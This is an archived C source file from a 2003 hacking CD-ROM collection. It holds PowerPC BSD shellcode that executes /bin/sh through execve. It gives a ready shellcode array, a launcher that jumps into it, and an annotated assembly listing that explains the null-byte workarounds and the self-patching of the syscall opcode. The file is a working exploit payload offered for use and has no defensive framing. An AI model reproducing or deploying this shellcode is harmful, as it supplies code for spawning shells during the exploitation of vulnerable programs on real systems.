home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hack.co.za / shellcode / ppc-bsd / execve_binsh.c next >
Encoding:
C/C++ Source or Header  |  2000-12-24  |  2.2 KB  |  72 lines

  1. /*
  2.  *  Linux PPC shellcode
  3.  *  execve() of /bin/sh by Palante
  4.  */
  5.  
  6. long shellcode[] = { /* Palante's BSD PPC shellcode w/ NULL*/
  7.   0x7CC63278, 0x2F867FFF, 0x41BC005C, 0x7C6802A6,
  8.   0xB0C3FFF9, 0xB0C3FFF1, 0x38867FF0, 0x38A67FF4,
  9.   0x38E67FF3, 0x7CA52278, 0x7CE72278, 0x7C853A14,
  10.   0x7CC419AE, 0x7C8429D6, 0x7C842214, 0x7C043A14,
  11.   0x7CE72850, 0x7C852A14, 0x7C63212E, 0x7C832214,
  12.   0x7CC5212E, 0x7CA52A78, 0x44FFFF02, 0x7CE03B78,
  13.   0x44FFFF02, 0x4BFFFFA9, 0x2F62696E, 0x2F73685A,
  14.   0xFFFFFFFF, 0xFFFFFFFF
  15. }; 
  16.  
  17.  
  18. void main()
  19. {
  20.   __asm__("b shellcode");
  21. }
  22.  
  23. /*              disassembly
  24.  
  25.         .section ".text"      # Palante's BSD PPC shellcode
  26.         .align 2
  27.         .globl m
  28.         .type    m,@function
  29. m:
  30.     xor  6,6,6            # r6 is 0
  31.     cmpi  7,0,6,0x7FFF    # do meaningless compare
  32.         bc 13,28,L2           # conditional branch to L2 # CAUSES NULL BYTE
  33. L1:     mfspr 3,8          # address of /bin/sh into r3 (execve parameter)
  34.             
  35.     sth  6,-7(3)          # fix sc opcode
  36.     sth  6,-15(3)         # fix sc opcode
  37.     
  38.     addi 4,6,0x7FF0
  39.     addi 5,6,0x7FF4
  40.     addi 7,6,0x7FF3
  41.     xor  5,5,4            #got 0x4 into r5
  42.     xor  7,7,4            #got 0x3 into r7
  43.  
  44.     
  45.     add  4,5,7            # r4 = 0x7
  46.     stbx 6,4,3            # store null after /bin/sh
  47.  
  48.     mullw 4,4,5           # r4 = 0x1c (28)
  49.         add  4,4,4            # r4 = 0x38 (56)
  50.     add  0,4,7            # this makes 59 which is the execve system call
  51.         
  52.         sub  7,5,7            # r7 = 0x1 for exit system call    
  53.  
  54.         add  4,5,5            # r4 = 0x8
  55.         stwx 3,3,4            # and store pointer to /bin/sh at r3+0x8
  56.     add  4,3,4            # r4 = r3 + 0x8 (execve parameter)
  57.     stwx 6,5,4            # store NULL pointer
  58.         xor 5,5,5             # NULL (execve parameter)
  59. .long   0x44ffff02            # not quite an sc opcode
  60.     or 0,7,7              # syscall 1 - exit
  61. .long   0x44ffff02            # not quite an sc opcode
  62.  
  63. L2:     bl L1                 # branch and link back to L1
  64. .long 0x2F62696E              #/bin/shZ
  65. .long 0x2F73685A
  66. .long 0xffffffff              # this is where pointer to /bin/sh goes
  67. .long 0xffffffff              # this is where null pointer goes
  68.  
  69. .Lfe1:
  70. .size    m,.Lfe1-m
  71.  
  72. */